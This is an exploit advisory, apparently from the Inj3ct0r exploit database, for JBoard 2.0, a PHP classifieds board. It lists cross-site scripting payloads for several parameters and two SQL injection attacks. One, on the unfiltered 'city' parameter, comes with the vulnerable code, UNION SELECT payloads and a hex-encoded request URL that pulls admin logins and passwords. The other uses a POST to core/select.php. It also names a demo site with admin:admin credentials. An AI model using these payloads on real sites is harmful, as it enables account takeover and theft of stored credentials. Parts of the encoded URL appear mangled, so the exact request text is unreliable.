JBoard 2.0 SQL Injection

`================================================  
JBoard <= 2.0 Commercial Version Sql/Xss Exploit  
================================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0   
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 0  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1  
  
#[+] Discovered By : Inj3ct0r  
#[+] Site : Inj3ct0r.com  
#[+] Support e-mail : submit[at]inj3ct0r.com  
#[+] Visit : inj3ct0r.com , inj3ct0r.org , inj3ct0r.net  
  
  
Site product: http://allpublication.ru/  
Demo: http://allpublication.ru/board/demo/  
admin; admin  
Version: 2.0  
  
-----------------------------------------------------------------  
  
Xss Exploit:  
  
editform.php?notice=<script>alert('www.inj3ct0r.com')</script>  
  
*?user_title=</title><script>alert('www.inj3ct0r.org')</script>  
  
*any pages because vulnerability in inc/head.inc.php  
  
core/edit_user_message.php?edit_user_message="><script>alert(www.inj3ct0r.net)</script><noscript>  
  
------------------------------------------------------------------  
  
  
SQL-Inj3ct0r Exploit:   
  
1) sboard.php  
  
elseif (!@$_GET['id_mess'] && !@$_GET['id_cat'] && (@$_GET['op'] == "all_cat" || @$_GET['city'])) require_once("core/all_cat.php");  
  
2) all_cat.php  
  
if ($c['print_top'] == "yes") require_once("inc/top_add.inc.php");   
  
3) top_add.inc.php  
  
There is a request to the database with the parameter $_GET['city'], which is never filtered  
  
if (@$_GET['city'])   
{   
$from_city_query = mysql_query ("SELECT city_name FROM jb_city WHERE city_translit = '".$_GET['city']."' LIMIT 1");   
if (mysql_num_rows ($from_city_query) == 1)   
{   
$from_city = mysql_fetch_assoc ($from_city_query);   
$city_from_search = " AND city = '".$from_city['city_name']."' ";   
  
The result is used in the second query:  
  
$top_add = mysql_query ("SELECT A.id as board_id, A.*, B.* FROM jb_board as A, jb_board_cat as B WHERE A.id_category = B.id AND old_mess = 'old' ".@$city_from_search." ORDER by hits DESC LIMIT $limit");   
if (mysql_num_rows($top_add))   
{   
?>   
  
<H4><?=$lang[610]?></H4>   
<table border="0" class="GRayBox" cellpadding="0" cellspacing="0">   
<tr class="top">   
<td class="img1">&nbsp;</td>   
<td class="img2">&nbsp;</td>   
<td class="img3">&nbsp;</td>   
</tr>   
<tr>   
<td class="imgL">&nbsp;</td>   
<td class="t"><a href="#">   
<?   
while ($top = mysql_fetch_assoc ($top_add))   
{   
$tip = str_replace("\r\n"," ", htmlspecialchars($top['text']));   
echo "<a href=\"".$h."/advertisement/nesting/".$top['id_category']."/kind/".$top['board_id']."/\" onmouseover=\"Tip('".$tip."')\"><strong>".$top['title']."</strong></a>";   
  
  
Request number 1:  
  
a 'UNION SELECT 1 --  
  
Request number 2:  
  
a 'UNION SELECT 1,2,3,4,5,6, concat_ws (0x3,login,password), 8,9,10,1 1,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34 FROM jb_admin --  
Transferred to the number (* 16):  
0x612720554e494f4e2053454c45435420312c322c332c342c352c362c636f6e6361745f7773283078332c6c6f67696e2c70617373776f7264292c382c392c31302c31312c31322c31332c31342c31352c31362c31372c31382c31392c32302c32312c32322c32332c32342c32352c32362c32372c32382c32392c33302c33312c33322c33332c33342046524f4d206a625f61646d696e202d2d20  
  
As a result, we obtain the following query:  
  
sboard.php?city=a'+union+select+0x612720554e494f4e2053454c45435420312c322c332c342c352c362c636f6e6361 745f7773283078332c6c6f67696e2c70617373776f7264292c 382c392c31302c31312c31322c31332c31342c31352c31362c 31372c31382c31392c32302c32312c32322c32332c32342c32 352c32362c32372c32382c32392c33302c33312c33322c3333 2c33342046524f4d206a625f61646d696e202d2d20% 20 -% 20  
  
-------------------------------------------------------------------  
  
SQL-Inj3ct0r Exploit:  
  
POST request to /core/select.php  
  
aaaaaaa 'UNION SELECT 1,2, concat_ws (0x3, login, password), 4,5,6 FROM jb_admin --  
Output will be the last element of the drop-down  
A vulnerable piece of code: paste the whole file)  
  
---------------------------------  
  
ThE End =] Visit my proj3ct :  
  
http://inj3ct0r.com  
http://inj3ct0r.org  
http://inj3ct0r.net  
  
  
# ~ - [ [ : Inj3ct0r : ] ]`